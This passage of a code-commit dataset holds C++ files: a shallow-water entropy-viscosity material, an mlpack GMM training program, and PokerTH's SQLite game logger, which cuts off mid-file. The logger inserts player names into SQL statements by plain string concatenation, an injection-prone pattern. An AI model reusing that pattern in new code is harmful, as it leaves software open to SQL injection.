\"Coefficient for jumps\");\n  params.addParam<double>(\"Cmax\" , 0.5, \"Coefficient for first-order viscosity\");\n  \/\/ Userobject:\n  params.addRequiredParam<UserObjectName>(\"eos\", \"Equation of state\");\n  \/\/ PPS names:\n  \/\/params.addParam<std::string>(\"press_PPS_name\", \"name of the pps computing pressure\");\n    \n  return params;\n}\n\nComputeViscCoeff::ComputeViscCoeff(const std::string & name, \n                                   InputParameters parameters) :\n    Material(name, parameters),\n    \/\/ Declare viscosity types\n    _visc_type(\"NONE FIRST_ORDER ENTROPY INVALID\", getParam<std::string>(\"viscosity_name\")),   \/\/ Declare variables\n    _h(coupledValue(\"h\")),\n    _q_x(coupledValue(\"q_x\")),\n    _q_y(_mesh.dimension() == 2 ? coupledValue(\"q_y\") : _zero),\n    \/\/ entropy:\n    _E(coupledValue(\"entropy\")),\n    _E_old(coupledValueOld(\"entropy\")),\n    _E_older(coupledValueOlder(\"entropy\")),\n    \/\/ entropy flux:\n    _grad_F(coupledGradient(\"F\")),\n    _grad_G(_mesh.dimension() == 2 ? coupledGradient(\"G\") : _grad_zero),\n    \/\/ bathymetry:\n    _bathymetry(isCoupled(\"B\") ? coupledValue(\"B\") : _zero),\n    _gravity(getParam<Real>(\"gravity\")),\n    \/\/ Jump of entropy gradients:\n    \/\/_jump_grad_entropy(isCoupled(\"jump_grad_entropy\") ? coupledValue(\"jump_grad_entropy\") : _zero),\n    \/\/ Declare material properties\n    _kappa(declareProperty<Real>(\"kappa\")),\n    _kappa_max(declareProperty<Real>(\"kappa_max\")),\n    _residual(declareProperty<Real>(\"residual\")), \/\/ jcr: why declare property for residual?, for output\n    \/\/ Get constant parameters\n    \/\/_is_first_order(getParam<bool>(\"is_first_order\")),\n    _Ce(getParam<double>(\"Ce\")),\n    _Cjump(getParam<double>(\"Cjump\")),\n    _Cmax(getParam<double>(\"Cmax\")),\n    \/\/ UserObject:\n    _eos(getUserObject<HydrostaticPressure>(\"eos\")),\n    \/\/ PPS name:\n    \/\/_entropy_pps_name(getParam<std::string>(\"PPS_name\"))\n{\n    if (_Ce < 0. || _Ce > 2.)\n        mooseError(\"The coefficient Ce has to be positive and cannot be larger than 2.\");\n}\n\nvoid\nComputeViscCoeff::computeQpProperties()\n{\n  \/\/ Determine h (length used in definition of first and second order viscosities):\n  Real _h_min = _current_elem->hmin();\/\/ \/_qrule->get_order(); jcr why called min, not cell?\n    \n  \/\/ vector q\n  RealVectorValue _vector_q( _q_x[_qp], _q_y[_qp], 0. );\n\n  \/\/ Compute first order viscosity:\n  Real c = std::sqrt(_eos.c2(_h[_qp], _vector_q));\n  _kappa_max[_qp] = _Cmax*_h_min*(_vector_q.size()\/_h[_qp] + c);\n    \n  \n\n  \/\/ Epsilon value normalization of unit vectors:\n  Real _eps = std::sqrt(std::numeric_limits<Real>::min());\n    \n  \/\/ Compute Mach number and velocity variable to use in the normalization parameter:\n  \/\/ Real entropy_pps = std::max(getPostprocessorValueByName(_entropy_pps_name), eps);\n        \n  \/\/ Initialize some vector, values, ... for entropy viscosity method:\n  RealVectorValue _vector_vel = _vector_q \/ _h[_qp];\n\n  Real jump=0.;\n  \n    \/\/ Switch statement over viscosity type:\n    switch (_visc_type) {\n        case NONE:             \n            _kappa[_qp] = 0.;\n            break;\n        case FIRST_ORDER:\n            _kappa[_qp] = _kappa_max[_qp];\n            break;\n        case ENTROPY:\n            \/\/ Compute the viscosity coefficients:\n            if (_t_step == 1) {\n                _kappa[_qp] = _kappa_max[_qp];\n            }\n            else {\n                \/\/ Weights for BDF2\n                Real w0 = _t_step > 2 ? (2.*_dt+_dt_old)\/(_dt*(_dt+_dt_old)) : 1. \/ _dt;\n                Real w1 = _t_step > 2 ? -(_dt+_dt_old)\/(_dt*_dt_old) : -1. \/ _dt;\n                Real w2 = _t_step > 2 ? _dt\/(_dt_old*(_dt+_dt_old)) : 0.;\n\n                \/\/ Entropy residual\n                Real residual = w0*_E[_qp]+w1*_E_old[_qp]+w2*_E_older[_qp];\n                residual += _grad_F[_qp](0)+_grad_G[_qp](1);\n                \/\/ store at qp\n                _residual[_qp] = std::fabs(residual);\n                \n                \/\/ Compute kappa_e:\n                \/*if (_isJumpOn)\n                    jump = _Cjump*_norm_vel[_qp]*std::max( _jump_grad_entropy[_qp], c*c*_jump_grad_dens[_qp] );\n                else\n                    jump = _Cjump*_norm_vel[_qp]*std::max( _grad_press[_qp].size(), c*c*_grad_rho[_qp].size() );*\/\n\n                \/\/ Froude number (use from Marco while I figure out |s-save|)\n                Real Froude = _vector_q.size()\/_h[_qp]\/std::sqrt(_gravity*(_h[_qp]+_eps));\n\t\t\t\tReal _norm = _gravity*(_h[_qp]+_bathymetry[_qp]+_eps);\n                Real kappa_e = _Ce*_h_min*_h_min*(std::fabs(residual) + jump) \/ _norm;\n\n                \/\/jump = _Cjump*_norm_vel[_qp]*std::max( _grad_press[_qp].size(), c*c*_grad_rho[_qp].size() );\n                               \n                \/\/ Compute kappa:\n                _kappa[_qp] = std::min( _kappa_max[_qp], kappa_e);\n            }\n            break;\n        default:\n            mooseError(\"The viscosity type entered in the input file is not implemented.\");\n            break;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @author Parikshit Ram (pram@cc.gatech.edu)\n * @file gmm_main.cpp\n *\n * This program trains a mixture of Gaussians on a given data matrix.\n *\/\n#include \"gmm.hpp\"\n\nPROGRAM_INFO(\"Gaussian Mixture Model (GMM) Training\",\n    \"This program takes a parametric estimate of a Gaussian mixture model (GMM)\"\n    \" using the EM algorithm to find the maximum likelihood estimate.  The \"\n    \"model is saved to an XML file, which contains information about each \"\n    \"Gaussian.\"\n    \"\\n\\n\"\n    \"If GMM training fails with an error indicating that a covariance matrix \"\n    \"could not be inverted, be sure that the 'no_force_positive' flag was not \"\n    \"specified.  Alternately, adding a small amount of Gaussian noise to the \"\n    \"entire dataset may help prevent Gaussians with zero variance in a \"\n    \"particular dimension, which is usually the cause of non-invertible \"\n    \"covariance matrices.\"\n    \"\\n\\n\"\n    \"The 'no_force_positive' flag, if set, will avoid the checks after each \"\n    \"iteration of the EM algorithm which ensure that the covariance matrices \"\n    \"are positive definite.  Specifying the flag can cause faster runtime, \"\n    \"but may also cause non-positive definite covariance matrices, which will \"\n    \"cause the program to crash.\");\n\nPARAM_STRING_REQ(\"input_file\", \"File containing the data on which the model \"\n    \"will be fit.\", \"i\");\nPARAM_INT(\"gaussians\", \"Number of Gaussians in the GMM.\", \"g\", 1);\nPARAM_STRING(\"output_file\", \"The file to write the trained GMM parameters into \"\n    \"(as XML).\", \"o\", \"gmm.xml\");\nPARAM_INT(\"seed\", \"Random seed.  If 0, 'std::time(NULL)' is used.\", \"s\", 0);\nPARAM_INT(\"trials\", \"Number of trials to perform in training GMM.\", \"t\", 10);\n\n\/\/ Parameters for EM algorithm.\nPARAM_DOUBLE(\"tolerance\", \"Tolerance for convergence of EM.\", \"T\", 1e-10);\nPARAM_FLAG(\"no_force_positive\", \"Do not force the covariance matrices to be \"\n    \"positive definite.\", \"P\");\nPARAM_INT(\"max_iterations\", \"Maximum number of iterations of EM algorithm \"\n    \"(passing 0 will run until convergence).\", \"n\", 250);\n\n\/\/ Parameters for dataset modification.\nPARAM_DOUBLE(\"noise\", \"Variance of zero-mean Gaussian noise to add to data.\",\n    \"N\", 0);\n\nusing namespace mlpack;\nusing namespace mlpack::gmm;\nusing namespace mlpack::util;\n\nint main(int argc, char* argv[])\n{\n  CLI::ParseCommandLine(argc, argv);\n\n  \/\/ Check parameters and load data.\n  if (CLI::GetParam<int>(\"seed\") != 0)\n    math::RandomSeed((size_t) CLI::GetParam<int>(\"seed\"));\n  else\n    math::RandomSeed((size_t) std::time(NULL));\n\n  arma::mat dataPoints;\n  data::Load(CLI::GetParam<std::string>(\"input_file\").c_str(), dataPoints,\n      true);\n\n  const int gaussians = CLI::GetParam<int>(\"gaussians\");\n  if (gaussians <= 0)\n  {\n    Log::Fatal << \"Invalid number of Gaussians (\" << gaussians << \"); must \"\n        \"be greater than or equal to 1.\" << std::endl;\n  }\n\n  \/\/ Do we need to add noise to the dataset?\n  if (CLI::HasParam(\"noise\"))\n  {\n    Timer::Start(\"noise_addition\");\n    const double noise = CLI::GetParam<double>(\"noise\");\n    dataPoints += noise * arma::randn(dataPoints.n_rows, dataPoints.n_cols);\n    Log::Info << \"Added zero-mean Gaussian noise with variance \" << noise\n        << \" to dataset.\" << std::endl;\n    Timer::Stop(\"noise_addition\");\n  }\n\n  \/\/ Gather parameters for EMFit object.\n  const size_t maxIterations = (size_t) CLI::GetParam<int>(\"max_iterations\");\n  const double tolerance = CLI::GetParam<double>(\"tolerance\");\n  const bool forcePositive = !CLI::HasParam(\"no_force_positive\");\n  EMFit<> em(maxIterations, tolerance, forcePositive);\n\n  \/\/ Calculate mixture of Gaussians.\n  GMM<> gmm(size_t(gaussians), dataPoints.n_rows, em);\n\n  \/\/ Compute the parameters of the model using the EM algorithm.\n  Timer::Start(\"em\");\n  double likelihood = gmm.Estimate(dataPoints, CLI::GetParam<int>(\"trials\"));\n  Timer::Stop(\"em\");\n\n  Log::Info << \"Log-likelihood of estimate: \" << likelihood << \".\\n\";\n\n  \/\/ Save results.\n  gmm.Save(CLI::GetParam<std::string>(\"output_file\"));\n}\n<commit_msg>Allow Bradley-Fayyad initialization for k-means as initialization for EM algorithm.<commit_after>\/**\n * @author Parikshit Ram (pram@cc.gatech.edu)\n * @file gmm_main.cpp\n *\n * This program trains a mixture of Gaussians on a given data matrix.\n *\/\n#include <mlpack\/core.hpp>\n\n#include \"gmm.hpp\"\n\n#include <mlpack\/methods\/kmeans\/refined_start.hpp>\n\nusing namespace mlpack;\nusing namespace mlpack::gmm;\nusing namespace mlpack::util;\nusing namespace mlpack::kmeans;\n\nPROGRAM_INFO(\"Gaussian Mixture Model (GMM) Training\",\n    \"This program takes a parametric estimate of a Gaussian mixture model (GMM)\"\n    \" using the EM algorithm to find the maximum likelihood estimate.  The \"\n    \"model is saved to an XML file, which contains information about each \"\n    \"Gaussian.\"\n    \"\\n\\n\"\n    \"If GMM training fails with an error indicating that a covariance matrix \"\n    \"could not be inverted, be sure that the 'no_force_positive' flag was not \"\n    \"specified.  Alternately, adding a small amount of Gaussian noise to the \"\n    \"entire dataset may help prevent Gaussians with zero variance in a \"\n    \"particular dimension, which is usually the cause of non-invertible \"\n    \"covariance matrices.\"\n    \"\\n\\n\"\n    \"The 'no_force_positive' flag, if set, will avoid the checks after each \"\n    \"iteration of the EM algorithm which ensure that the covariance matrices \"\n    \"are positive definite.  Specifying the flag can cause faster runtime, \"\n    \"but may also cause non-positive definite covariance matrices, which will \"\n    \"cause the program to crash.\");\n\nPARAM_STRING_REQ(\"input_file\", \"File containing the data on which the model \"\n    \"will be fit.\", \"i\");\nPARAM_INT(\"gaussians\", \"Number of Gaussians in the GMM.\", \"g\", 1);\nPARAM_STRING(\"output_file\", \"The file to write the trained GMM parameters into \"\n    \"(as XML).\", \"o\", \"gmm.xml\");\nPARAM_INT(\"seed\", \"Random seed.  If 0, 'std::time(NULL)' is used.\", \"s\", 0);\nPARAM_INT(\"trials\", \"Number of trials to perform in training GMM.\", \"t\", 10);\n\n\/\/ Parameters for EM algorithm.\nPARAM_DOUBLE(\"tolerance\", \"Tolerance for convergence of EM.\", \"T\", 1e-10);\nPARAM_FLAG(\"no_force_positive\", \"Do not force the covariance matrices to be \"\n    \"positive definite.\", \"P\");\nPARAM_INT(\"max_iterations\", \"Maximum number of iterations of EM algorithm \"\n    \"(passing 0 will run until convergence).\", \"n\", 250);\n\n\/\/ Parameters for dataset modification.\nPARAM_DOUBLE(\"noise\", \"Variance of zero-mean Gaussian noise to add to data.\",\n    \"N\", 0);\n\n\/\/ Parameters for k-means initialization.\nPARAM_FLAG(\"refined_start\", \"During the initialization, use refined initial \"\n    \"positions for k-means clustering (Bradley and Fayyad, 1998).\", \"r\");\nPARAM_INT(\"samplings\", \"If using --refined_start, specify the number of \"\n    \"samplings used for initial points.\", \"S\", 100);\nPARAM_DOUBLE(\"percentage\", \"If using --refined_start, specify the percentage of\"\n    \" the dataset used for each sampling (should be between 0.0 and 1.0).\",\n    \"p\", 0.02);\n\nint main(int argc, char* argv[])\n{\n  CLI::ParseCommandLine(argc, argv);\n\n  \/\/ Check parameters and load data.\n  if (CLI::GetParam<int>(\"seed\") != 0)\n    math::RandomSeed((size_t) CLI::GetParam<int>(\"seed\"));\n  else\n    math::RandomSeed((size_t) std::time(NULL));\n\n  arma::mat dataPoints;\n  data::Load(CLI::GetParam<std::string>(\"input_file\").c_str(), dataPoints,\n      true);\n\n  const int gaussians = CLI::GetParam<int>(\"gaussians\");\n  if (gaussians <= 0)\n  {\n    Log::Fatal << \"Invalid number of Gaussians (\" << gaussians << \"); must \"\n        \"be greater than or equal to 1.\" << std::endl;\n  }\n\n  \/\/ Do we need to add noise to the dataset?\n  if (CLI::HasParam(\"noise\"))\n  {\n    Timer::Start(\"noise_addition\");\n    const double noise = CLI::GetParam<double>(\"noise\");\n    dataPoints += noise * arma::randn(dataPoints.n_rows, dataPoints.n_cols);\n    Log::Info << \"Added zero-mean Gaussian noise with variance \" << noise\n        << \" to dataset.\" << std::endl;\n    Timer::Stop(\"noise_addition\");\n  }\n\n  \/\/ Gather parameters for EMFit object.\n  const size_t maxIterations = (size_t) CLI::GetParam<int>(\"max_iterations\");\n  const double tolerance = CLI::GetParam<double>(\"tolerance\");\n  const bool forcePositive = !CLI::HasParam(\"no_force_positive\");\n\n  \/\/ This gets a bit weird because we need different types depending on whether\n  \/\/ --refined_start is specified.\n  double likelihood;\n  if (CLI::HasParam(\"refined_start\"))\n  {\n    const int samplings = CLI::GetParam<int>(\"samplings\");\n    const double percentage = CLI::GetParam<double>(\"percentage\");\n\n    if (samplings <= 0)\n      Log::Fatal << \"Number of samplings (\" << samplings << \") must be greater\"\n          << \" than 0!\" << std::endl;\n\n    if (percentage <= 0.0 || percentage > 1.0)\n      Log::Fatal << \"Percentage for sampling (\" << percentage << \") must be \"\n          << \"greater than 0.0 and less than or equal to 1.0!\" << std::endl;\n\n    typedef KMeans<metric::SquaredEuclideanDistance, RefinedStart> KMeansType;\n\n    \/\/ These are default parameters.\n    KMeansType k(1000, 1.0, metric::SquaredEuclideanDistance(),\n        RefinedStart(samplings, percentage));\n\n    EMFit<KMeansType> em(maxIterations, tolerance, forcePositive, k);\n\n    GMM<EMFit<KMeansType> > gmm(size_t(gaussians), dataPoints.n_rows, em);\n\n    \/\/ Compute the parameters of the model using the EM algorithm.\n    Timer::Start(\"em\");\n    likelihood = gmm.Estimate(dataPoints, CLI::GetParam<int>(\"trials\"));\n    Timer::Stop(\"em\");\n\n    \/\/ Save results.\n    gmm.Save(CLI::GetParam<std::string>(\"output_file\"));\n  }\n  else\n  {\n    EMFit<> em(maxIterations, tolerance, forcePositive);\n\n    \/\/ Calculate mixture of Gaussians.\n    GMM<> gmm(size_t(gaussians), dataPoints.n_rows, em);\n\n    \/\/ Compute the parameters of the model using the EM algorithm.\n    Timer::Start(\"em\");\n    likelihood = gmm.Estimate(dataPoints, CLI::GetParam<int>(\"trials\"));\n    Timer::Stop(\"em\");\n\n    \/\/ Save results.\n    gmm.Save(CLI::GetParam<std::string>(\"output_file\"));\n  }\n\n  Log::Info << \"Log-likelihood of estimate: \" << likelihood << \".\\n\";\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n *   Copyright (C) 2006 by FThauer FHammer   *\n *   f.thauer@web.de   *\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU General Public License as published by  *\n *   the Free Software Foundation; either version 2 of the License, or     *\n *   (at your option) any later version.                                   *\n *                                                                         *\n *   This program is distributed in the hope that it will be useful,       *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU General Public License for more details.                          *\n *                                                                         *\n *   You should have received a copy of the GNU General Public License     *\n *   along with this program; if not, write to the                         *\n *   Free Software Foundation, Inc.,                                       *\n *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *\n ***************************************************************************\/\n\n#include \"configfile.h\"\n#include \"game_defs.h\"\n#include \"log.h\"\n#include \"playerinterface.h\"\n#include <sqlite3.h>\n#include <iostream>\n#include <dirent.h>\n#include <boost\/lexical_cast.hpp>\n\nusing namespace std;\n\nLog::Log(string logDirString, int logOnOffInt) : curGameID(0), logOnOff(false)\n{\n\n    if(SQLITE_LOG) {\n\n        \/\/ logging activated\n        if(logOnOffInt) {\n\n            logOnOff = true;\n\n            DIR *logDir;\n            logDir = opendir(logDirString.c_str());\n\n            \/\/ check if logging path exist\n            if(logDirString != \"\" && logDir) {\n\n                int i;\n                string sql;\n                char *errmsg;\n\n                \/\/ detect current time\n                char curDateTime[20];\n                char curDate[11];\n                char curTime[9];\n                time_t now = time(NULL);\n                tm *z = localtime(&now);\n                strftime(curDateTime,20,\"%Y-%m-%d_%H.%M.%S\",z);\n                strftime(curDate,11,\"%Y-%m-%d\",z);\n                strftime(curTime,9,\"%H:%M:%S\",z);\n\n                string mySqliteLogFileName = boost::lexical_cast<string>(logDirString.c_str());\n                       mySqliteLogFileName += \"pokerth-log-\" + boost::lexical_cast<string>(curDateTime) + \".pdb\";\n\n                \/\/ open sqlite-db\n                sqlite3_open(mySqliteLogFileName.data(), &mySqliteLogDb);\n                if( mySqliteLogDb != 0 ) {\n\n                    \/\/ create session table\n                    sql = \"CREATE TABLE Session (\";\n                        sql += \"PokerTH_Version TEXT NOT NULL\";\n                        sql += \",Date TEXT NOT NULL\";\n                        sql += \",Time TEXT NOT NULL\";\n                    sql += \", PRIMARY KEY(Date,Time))\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                    }\n\n                    sql = \"INSERT INTO Session (\";\n                        sql += \"PokerTH_Version\";\n                        sql += \",Date\";\n                        sql += \",Time\";\n                    sql += \") VALUES (\";\n                        sql += \"\\\"\" + boost::lexical_cast<string>(POKERTH_BETA_RELEASE_STRING) + \"\\\",\";\n                        sql += \"\\\"\" + boost::lexical_cast<string>(curDate) + \"\\\",\";\n                        sql += \"\\\"\" + boost::lexical_cast<string>(curTime) + \"\\\")\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                    }\n\n                    \/\/ create game table\n                    sql = \"CREATE TABLE Game (\";\n                        sql += \"GameID INTEGER NOT NULL PRIMARY KEY\";\n                        sql += \",Startmoney INTEGER NOT NULL\";\n                        sql += \",StartSb INTEGER NOT NULL\";\n                        sql += \",DealerPos INTEGER NOT NULL\";\n                        for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \" TEXT\";\n                        }\n                        sql += \",Winner_Seat INTEGER\";\n                    sql += \")\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                    }\n\n                    \/\/ create hand table\n                    sql = \"CREATE TABLE Hand (\";\n                        sql += \"HandID INTEGER NOT NULL\";\n                        sql += \",GameID INTEGER NOT NULL\";\n                        sql += \",Dealer_Seat INTEGER\";\n                        sql += \",Sb_Amount INTEGER NOT NULL\";\n                        sql += \",Sb_Seat INTEGER NOT NULL\";\n                        sql += \",Bb_Amount INTEGER NOT NULL\";\n                        sql += \",Bb_Seat INTEGER NOT NULL\";\n                        for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Cash INTEGER\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Card_1 INTEGER\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Card_2 INTEGER\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Hand_text TEXT\";\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Hand_int INTEGER\";\n                        }\n                        for(i=1; i<=5; i++) {\n                            sql += \",BoardCard_\" + boost::lexical_cast<std::string>(i) + \" INTEGER\";\n                        }\n                    sql += \",PRIMARY KEY(HandID,GameID))\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                    }\n\n                    \/\/ create action table\n                    sql = \"CREATE TABLE Action (\";\n                        sql += \"ActionID INTEGER PRIMARY KEY AUTOINCREMENT\";\n                        sql += \",HandID INTEGER NOT NULL\";\n                        sql += \",GameID INTEGER NOT NULL\";\n                        sql += \",BeRo INTEGER NOT NULL\";\n                        sql += \",Player INTEGER NOT NULL\";\n                        sql += \",Action TEXT NOT NULL\";\n                        sql += \",Amount INTEGER\";\n                    sql += \")\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                    }\n\n\n                }\n\n            }\n\n        }\n\n    }\n}\n\nLog::~Log()\n{\n    if(SQLITE_LOG) {\n        sqlite3_close(mySqliteLogDb);\n    }\n}\n\nvoid\nLog::logNewGameMsg(int gameID, int startCash, int startSmallBlind, unsigned dealerPosition, PlayerList seatsList) {\n\n    curGameID = gameID;\n\n    if(SQLITE_LOG) {\n\n        if(logOnOff) {\n            \/\/if write logfiles is enabled\n\n            PlayerListConstIterator it_c;\n            string sql;\n            int i;\n            char *errmsg;\n\n            if( mySqliteLogDb != 0 ) {\n                \/\/ sqlite-db is open\n\n                sql = \"INSERT INTO Game (\";\n                    sql += \"GameID\";\n                    sql += \",Startmoney\";\n                    sql += \",StartSb\";\n                    sql += \",DealerPos\";\n                    for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                        sql += \",Seat_\" + boost::lexical_cast<std::string>(i);\n                    }\n                sql += \") VALUES (\";\n                    sql += boost::lexical_cast<string>(curGameID);\n                    sql += \",\" + boost::lexical_cast<string>(startCash);\n                    sql += \",\" + boost::lexical_cast<string>(startSmallBlind);\n                    sql += \",\" + boost::lexical_cast<string>(dealerPosition);\n                    for(it_c = seatsList->begin();it_c!=seatsList->end();it_c++) {\n                        if((*it_c)->getMyActiveStatus()) {\n                            sql += \",\\\"\" + (*it_c)->getMyName() +\"\\\"\";\n                        } else {\n                            sql += \",NULL\";\n                        }\n                    }\n                    sql += \")\";\n                if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                    cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                }\n            }\n        }\n    }\n}\n\nvoid\nLog::logNewHandMsg(int handID, unsigned dealerPosition, int smallBlind, unsigned smallBlindPosition, int bigBlind, unsigned bigBlindPosition, PlayerList seatsList) {\n\n    if(SQLITE_LOG) {\n\n        if(logOnOff) {\n            \/\/if write logfiles is enabled\n\n            PlayerListConstIterator it_c;\n            string sql;\n            int i;\n            char *errmsg;\n\n            if( mySqliteLogDb != 0 ) {\n                \/\/ sqlite-db is open\n\n                sql = \"INSERT INTO Hand (\";\n                    sql += \"HandID\";\n                    sql += \",GameID\";\n                    sql += \",Dealer_Seat\";\n                    sql += \",Sb_Amount\";\n                    sql += \",Sb_Seat\";\n                    sql += \",Bb_Amount\";\n                    sql += \",Bb_Seat\";\n                    for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                        sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \"_Cash\";\n                    }\n                sql += \") VALUES (\";\n                    sql += boost::lexical_cast<string>(handID);\n                    sql += \",\" + boost::lexical_cast<string>(curGameID);\n                    sql += \",\" + boost::lexical_cast<string>(dealerPosition+1);\n                    sql += \",\" + boost::lexical_cast<string>(smallBlind);\n                    sql += \",\" + boost::lexical_cast<string>(smallBlindPosition+1);\n                    sql += \",\" + boost::lexical_cast<string>(bigBlind);\n                    sql += \",\" + boost::lexical_cast<string>(bigBlindPosition+1);\n                    for(it_c = seatsList->begin();it_c!=seatsList->end();it_c++) {\n                        if((*it_c)->getMyActiveStatus()) {\n                            sql += \",\" + boost::lexical_cast<string>((*it_c)->getMyCash());\n                        } else {\n                            sql += \",NULL\";\n                        }\n                    }\n                    sql += \")\";\n                if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                    cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n                }\n\n            }\n\n        }\n\n    }\n}\n\n\/\/void\n\/\/Log::closeLogDbAtExit()\n\/\/{\n\/\/    if(SQLITE_LOG) {\n\/\/        \/\/ close sqlite-db\n\/\/        sqlite3_close(mySqliteLogDb);\n\/\/        mySqliteLogDb = NULL;\n\/\/    }\n\n\/\/}\n<commit_msg>Fixing memory leaks (in currently unused code).<commit_after>\/***************************************************************************\n *   Copyright (C) 2006 by FThauer FHammer   *\n *   f.thauer@web.de   *\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU General Public License as published by  *\n *   the Free Software Foundation; either version 2 of the License, or     *\n *   (at your option) any later version.                                   *\n *                                                                         *\n *   This program is distributed in the hope that it will be useful,       *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU General Public License for more details.                          *\n *                                                                         *\n *   You should have received a copy of the GNU General Public License     *\n *   along with this program; if not, write to the                         *\n *   Free Software Foundation, Inc.,                                       *\n *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *\n ***************************************************************************\/\n\n#include \"configfile.h\"\n#include \"game_defs.h\"\n#include \"log.h\"\n#include \"playerinterface.h\"\n#include <sqlite3.h>\n#include <iostream>\n#include <dirent.h>\n#include <boost\/lexical_cast.hpp>\n\nusing namespace std;\n\nLog::Log(string logDirString, int logOnOffInt) : curGameID(0), logOnOff(false)\n{\n\n    if(SQLITE_LOG) {\n\n        \/\/ logging activated\n        if(logOnOffInt) {\n\n            logOnOff = true;\n\n            DIR *logDir;\n            logDir = opendir(logDirString.c_str());\n\n            \/\/ check if logging path exist\n            if(logDirString != \"\" && logDir) {\n\t\t\t\tclosedir(logDir);\n\n                int i;\n                string sql;\n                char *errmsg;\n\n                \/\/ detect current time\n                char curDateTime[20];\n                char curDate[11];\n                char curTime[9];\n                time_t now = time(NULL);\n                tm *z = localtime(&now);\n                strftime(curDateTime,20,\"%Y-%m-%d_%H.%M.%S\",z);\n                strftime(curDate,11,\"%Y-%m-%d\",z);\n                strftime(curTime,9,\"%H:%M:%S\",z);\n\n                string mySqliteLogFileName = boost::lexical_cast<string>(logDirString.c_str());\n                       mySqliteLogFileName += \"pokerth-log-\" + boost::lexical_cast<string>(curDateTime) + \".pdb\";\n\n                \/\/ open sqlite-db\n                sqlite3_open(mySqliteLogFileName.data(), &mySqliteLogDb);\n                if( mySqliteLogDb != 0 ) {\n\n                    \/\/ create session table\n                    sql = \"CREATE TABLE Session (\";\n                        sql += \"PokerTH_Version TEXT NOT NULL\";\n                        sql += \",Date TEXT NOT NULL\";\n                        sql += \",Time TEXT NOT NULL\";\n                    sql += \", PRIMARY KEY(Date,Time))\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n\t\t\t\t\t\tsqlite3_free(errmsg);\n\t\t\t\t\t}\n\n                    sql = \"INSERT INTO Session (\";\n                        sql += \"PokerTH_Version\";\n                        sql += \",Date\";\n                        sql += \",Time\";\n                    sql += \") VALUES (\";\n                        sql += \"\\\"\" + boost::lexical_cast<string>(POKERTH_BETA_RELEASE_STRING) + \"\\\",\";\n                        sql += \"\\\"\" + boost::lexical_cast<string>(curDate) + \"\\\",\";\n                        sql += \"\\\"\" + boost::lexical_cast<string>(curTime) + \"\\\")\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n\t\t\t\t\t\tsqlite3_free(errmsg);\n\t\t\t\t\t}\n\n                    \/\/ create game table\n                    sql = \"CREATE TABLE Game (\";\n                        sql += \"GameID INTEGER NOT NULL PRIMARY KEY\";\n                        sql += \",Startmoney INTEGER NOT NULL\";\n                        sql += \",StartSb INTEGER NOT NULL\";\n                        sql += \",DealerPos INTEGER NOT NULL\";\n                        for(i=1; i<=MAX_NUMBER_OF_PLAYERS; i++) {\n                            sql += \",Seat_\" + boost::lexical_cast<std::string>(i) + \" TEXT\";\n                        }\n                        sql += \",Winner_Seat INTEGER\";\n                    sql += \")\";\n                    if(sqlite3_exec(mySqliteLogDb, sql.data(), 0, 0, &errmsg) != SQLITE_OK) {\n                        cout << \"Error in statement: \" << sql.data() << \"[\" << errmsg << \"].\" << endl;\n\t\t\t\t\t\tsqlite3_free(errmsg);\n\t\t\t\t\t}\n\n                    \/\/ create hand table\n                    sql = \"CREATE TABLE Hand (\";\n                        sql += \"HandID INTEGER NOT NULL\";\n                        sql += \",GameID INTEGER NOT NULL\";\n                        sql += \",Dealer_Seat INTEGER\";\n                        sql += 